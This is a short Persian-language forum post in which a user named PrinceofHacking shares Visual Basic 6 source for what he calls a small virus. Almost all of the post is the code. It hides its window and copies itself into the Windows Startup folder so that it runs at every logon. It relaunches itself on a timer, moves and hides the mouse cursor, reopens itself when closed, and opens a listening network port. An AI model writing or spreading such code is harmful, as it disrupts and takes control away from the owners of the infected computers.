ویروس (جالب)

[PrinceofHacking]

دوستان یه ویروس نوشتم ( ویرس که نه بچه ویروس :p) خواستم سورسشو اینجا بزارم یه نگاهی

بندازید ببینید چه جوره:naughty

Option Explicit
Dim X As Boolean
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long

Private Sub Form_Load()
Me.Hide
T.Text = windir()
T.SelStart = "3"
T.SelLength = Len(T.Text)
T.SelText = "Documents and Settings\All Users\Start Menu\Programs\Startup"
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.LocalPort = 3333
Winsock1.Listen
Winsock1.LocalPort = 1434
Winsock1.LocalPort = 1001

End Sub

Private Sub Form_Unload(Cancel As Integer)
Dim X As New Form1
X.Width = Me.Width
X.Height = Me.Height
X.Show
End Sub

Private Sub L_Change()
If L.Caption = "20" Then
ShowCursor (0)
End If
End Sub

Private Sub L_Click()

End Sub

Private Sub Timer1_Timer()
Dim X
Dim Y
Dim Temp
Randomize 1000

X = Rnd(10) * 1000

Y = Rnd(10) * 1000

Temp = SetCursorPos(X, Y)

Shell (App.Path + "\" + App.EXEName + ".exe")
End Sub

Private Sub Timer2_Timer()
FileCopy App.Path + "\" + App.EXEName + ".exe", T.Text + "\PrinceofHacking.exe"
End Sub

Private Sub Timer3_Timer()
Static X As Double
X = X + 1
L.Caption = X
End Sub

Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Function windir()
Dim Wind As String
Wind = Space(500)
Wind = Left(Wind, GetWindowsDirectory(Wind, Len(Wind)))
windir = Wind
End Function


یا علی

فعلا.